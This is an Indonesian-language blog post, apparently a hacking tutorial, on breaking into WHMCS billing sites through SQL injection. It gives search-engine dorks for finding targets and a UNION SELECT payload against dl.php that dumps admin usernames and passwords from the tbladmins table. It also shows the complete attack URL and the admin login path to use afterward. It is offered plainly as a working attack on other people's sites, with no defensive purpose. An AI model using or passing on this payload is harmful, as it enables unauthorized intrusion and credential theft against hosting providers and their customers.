Hack WHMCS Dengan SQLi !

Hack WHMCS Dengan SQLi !
=========================================================================

1. Dork :
- intext:"Powered by WHMCompleteSolution"

- inurl:"submitticket.php?"?


- inurl:[*]dl.php?type= ( HAPUS TANDA [*] KRN KALAU GK JADI NYA EMOT -_- )


*Kembangin Lagi ^_^


2. Kalau udh dapet target kita Inject, contoh: http://www.SitusNya.com/billing/dl.php?type=d&id=1


Lalu kita Inject:



and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --


Istilah nya Exploit nya !


Tambah String tadi ke belakang url, contoh:

http://www.SitusNya.com/billing/dl.php?type=d&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --


3. Lepas tu Enter!

Bila kita inject, kalauberhasil browser kita akan download satu file format .pdf .dalam file ini adalah Username dan Password WHMCS itu Big Grin

4. Untuk login :

http://www.target.com/path/admin

=========================================================================

Moga Berhasil, Diakibatkan Sekarang Web Master udah CERDAS, jadi Nya trik Ini Agak Susah :v Tapi masih Ada Yg berhasil ! 

Komentar

Postingan populer dari blog ini

Setting XAMPP Menjadi Web Server Pada Jaringan Intranet

Solusi MEID/IMEI Invalid-000000 ANDROID MTK ALL

Cintai Rupiah Mu, Cintai Pahlawan Mu..